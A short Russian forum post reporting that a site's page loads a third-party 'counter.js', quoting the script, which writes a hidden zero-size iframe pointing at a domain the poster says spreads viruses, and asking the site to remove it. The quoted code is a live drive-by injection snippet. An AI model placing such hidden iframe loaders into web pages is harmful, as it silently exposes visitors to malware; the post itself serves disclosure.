из кода портала ссылка
PHP код:
http://vkmsg.pw/counter.js
Код:
new Image().src = "//counter.yadro.ru/hit;UnderTaker?r" + escape(document.referrer) + ((typeof(screen)=="undefined")?"" : ";s"+screen.width+"*"+screen.height+"*" + (screen.colorDepth?screen.colorDepth:screen.pixelDepth)) + ";u"+escape(document.URL) + ";" +Math.random();
document.write("<iframe width='0' height='0' border='0' src='http://elka52.ru/tmp/'></iframe>")
и собственна та самая елка которая вирье распространяет.
конкретно из этой части сайта
Код:
<tr><td><font face="Verdana,Arial,Helvetica" size="1" color="#000000">
<script type="text/javascript" src="http://vkmsg.pw/counter.js"></script></font></td></tr></table>
</td></tr>
www.thg.ru/4g/
может уберете наконец-то?